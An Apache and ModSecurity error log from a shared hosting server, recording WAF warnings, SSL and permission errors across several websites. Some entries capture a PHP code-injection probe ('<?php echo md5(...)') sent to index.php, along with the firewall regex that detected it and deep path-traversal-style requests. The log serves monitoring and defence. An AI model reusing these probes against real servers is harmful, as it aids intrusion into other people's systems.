[Fri Jul 17 09:27:52.566984 2026] [security2:error] [pid 2029866:tid 2029866] [client 85.208.96.198:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-global": Permission denied [hostname "ksoft.web.lk"] [uri "/daph/daph1/vendor/laravel/framework/src/Illuminate/Broadcasting/EncryptedPrivateChannel.php"] [unique_id "almoQF1_86A5R6msWNfaSQAAABI"]
[Fri Jul 17 09:27:52.567010 2026] [security2:error] [pid 2029866:tid 2029866] [client 85.208.96.198:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ksoftweb-ip": Permission denied [hostname "ksoft.web.lk"] [uri "/daph/daph1/vendor/laravel/framework/src/Illuminate/Broadcasting/EncryptedPrivateChannel.php"] [unique_id "almoQF1_86A5R6msWNfaSQAAABI"]
[Fri Jul 17 09:27:54.037909 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:51088] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:27:54.578631 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:51134] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:27:54.587470 2026] [security2:error] [pid 2030774:tid 2030774] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_63feda23b5196_sitrep-sl-en-12-12_10_21_1.pdf"] [unique_id "almoQhHlOGcokz2QIwTZNQAAAAM"]
[Fri Jul 17 09:27:54.587819 2026] [security2:error] [pid 2030774:tid 2030774] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_63feda23b5196_sitrep-sl-en-12-12_10_21_1.pdf"] [unique_id "almoQhHlOGcokz2QIwTZNQAAAAM"]
[Fri Jul 17 09:27:54.588087 2026] [security2:error] [pid 2030774:tid 2030774] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_63feda23b5196_sitrep-sl-en-12-12_10_21_1.pdf"] [unique_id "almoQhHlOGcokz2QIwTZNQAAAAM"]
[Fri Jul 17 09:27:56.153299 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:56.610529 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:56.690349 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:56.780727 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:56.872011 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:56.962452 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:57.236506 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:57.389651 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:57.742599 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:57.804494 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:57.886747 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:02/subsystem/drivers/button/uevent
[Fri Jul 17 09:27:58.803799 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:58.895523 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:59.449368 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:59.723397 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:59.812522 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:27:59.903548 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/QEMU0002:00/subsystem/drivers/vesa-framebuffer/uevent
[Fri Jul 17 09:28:00.006878 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:00.086749 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:00.193893 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:00.312549 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:00.493978 2026] [security2:error] [pid 2018768:tid 2018768] [client 57.141.18.71:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory3/subsystem/devices/memory75/subsystem/devices/memory82/node0/memory115/node0/memory105/"] [unique_id "almoSFCBpfuYyhJ140vYdwAAAB4"]
[Fri Jul 17 09:28:00.494017 2026] [security2:error] [pid 2018768:tid 2018768] [client 57.141.18.71:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory3/subsystem/devices/memory75/subsystem/devices/memory82/node0/memory115/node0/memory105/"] [unique_id "almoSFCBpfuYyhJ140vYdwAAAB4"]
[Fri Jul 17 09:28:00.542559 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0C0F:00/subsystem/drivers/ac/bind
[Fri Jul 17 09:28:00.686288 2026] [security2:error] [pid 2032156:tid 2032156] [client 43.165.2.110:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/"] [unique_id "almoSK14q1EBnanVMYGp7gAAAAk"]
[Fri Jul 17 09:28:01.004024 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty34/subsystem/tty37/power/control"] [unique_id "almoSV1_86A5R6msWNfaUwAAABI"]
[Fri Jul 17 09:28:01.004093 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty34/subsystem/tty37/power/control"] [unique_id "almoSV1_86A5R6msWNfaUwAAABI"]
[Fri Jul 17 09:28:01.437125 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:01.629236 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almoSboj0IkvhSCYadmH1wAAAAQ"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:28:01.629272 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almoSboj0IkvhSCYadmH1wAAAAQ"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:28:01.727878 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:50606] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:03.570167 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:50672] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:03.793298 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:50698] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:08.660307 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:50938] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:08.794931 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:50968] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:08.994486 2026] [security2:error] [pid 2029579:tid 2029579] [client 45.66.35.35:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS:vars[0]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS:vars[0]: <?php echo md5('a3233a3800f8cba9dd419d1997d27412');"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoUCRF0UOO1RzB5_80LgAAAA4"]
[Fri Jul 17 09:28:08.995653 2026] [security2:error] [pid 2029579:tid 2029579] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoUCRF0UOO1RzB5_80LgAAAA4"]
[Fri Jul 17 09:28:08.996374 2026] [security2:error] [pid 2029579:tid 2029579] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/404.shtml"] [unique_id "almoUCRF0UOO1RzB5_80LgAAAA4"]
[Fri Jul 17 09:28:08.998248 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:50970] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:09.822281 2026] [security2:error] [pid 2018757:tid 2018757] [client 45.66.35.35:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS:vars[0]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS:vars[0]: <?php echo md5('a3233a3800f8cba9dd419d1997d27412');"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoUUkXT4NBqALj2laCuwAAABA"]
[Fri Jul 17 09:28:09.823004 2026] [security2:error] [pid 2018757:tid 2018757] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoUUkXT4NBqALj2laCuwAAABA"]
[Fri Jul 17 09:28:09.823689 2026] [security2:error] [pid 2018757:tid 2018757] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/404.shtml"] [unique_id "almoUUkXT4NBqALj2laCuwAAABA"]
[Fri Jul 17 09:28:10.511495 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:51058] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:10.565770 2026] [security2:error] [pid 2047046:tid 2047046] [client 45.66.35.35:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS:vars[0]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS:vars[0]: <?php echo md5('a3233a3800f8cba9dd419d1997d27412');"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoUk_0b3nWp8txtSDDAwAAAA0"]
[Fri Jul 17 09:28:10.566565 2026] [security2:error] [pid 2047046:tid 2047046] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoUk_0b3nWp8txtSDDAwAAAA0"]
[Fri Jul 17 09:28:10.567258 2026] [security2:error] [pid 2047046:tid 2047046] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/404.shtml"] [unique_id "almoUk_0b3nWp8txtSDDAwAAAA0"]
[Fri Jul 17 09:28:10.580871 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:51064] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:11.065651 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:11.131328 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:11.341677 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:11.424682 2026] [security2:error] [pid 2039911:tid 2039911] [client 45.66.35.35:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS:vars[0]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS:vars[0]: <?php echo md5('a3233a3800f8cba9dd419d1997d27412');"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoU5BVIrrUwtEhdafW9wAAAAU"]
[Fri Jul 17 09:28:11.425394 2026] [security2:error] [pid 2039911:tid 2039911] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoU5BVIrrUwtEhdafW9wAAAAU"]
[Fri Jul 17 09:28:11.425942 2026] [security2:error] [pid 2039911:tid 2039911] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/404.shtml"] [unique_id "almoU5BVIrrUwtEhdafW9wAAAAU"]
[Fri Jul 17 09:28:11.843427 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:48202] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:12.143552 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:48216] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:12.149772 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.244.66.230:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "v-deploy.com"] [uri "/wp-content/uploads/2020/07/abt-us-banner-1024x493.png"] [unique_id "almoVF1_86A5R6msWNfaWgAAABI"]
[Fri Jul 17 09:28:12.150130 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.244.66.230:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "v-deploy.com"] [uri "/wp-content/uploads/2020/07/abt-us-banner-1024x493.png"] [unique_id "almoVF1_86A5R6msWNfaWgAAABI"]
[Fri Jul 17 09:28:12.153409 2026] [security2:error] [pid 1993619:tid 1993619] [client 45.66.35.35:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS:vars[0]. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS:vars[0]: <?php echo md5('a3233a3800f8cba9dd419d1997d27412');"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoVI1dLClkUfK_dfHqrwAAAAI"]
[Fri Jul 17 09:28:12.154129 2026] [security2:error] [pid 1993619:tid 1993619] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/index.php"] [unique_id "almoVI1dLClkUfK_dfHqrwAAAAI"]
[Fri Jul 17 09:28:12.154694 2026] [security2:error] [pid 1993619:tid 1993619] [client 45.66.35.35:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "lkdea.com.66-85-158-91.cpanel.site"] [uri "/404.shtml"] [unique_id "almoVI1dLClkUfK_dfHqrwAAAAI"]
[Fri Jul 17 09:28:12.192162 2026] [security2:error] [pid 2029866:tid 2029866] [client 216.244.66.230:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "v-deploy.com"] [uri "/wp-content/uploads/2020/07/abt-us-banner-1024x493.png"] [unique_id "almoVF1_86A5R6msWNfaWgAAABI"]
[Fri Jul 17 09:28:12.261999 2026] [core:error] [pid 2036488:tid 2036488] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty58/subsystem/ttyS0/closing_wait
[Fri Jul 17 09:28:12.445982 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/class/wakeup/wakeup7/device/eject
[Fri Jul 17 09:28:12.538465 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:28:12.737101 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:48220] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:28:12.818162 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
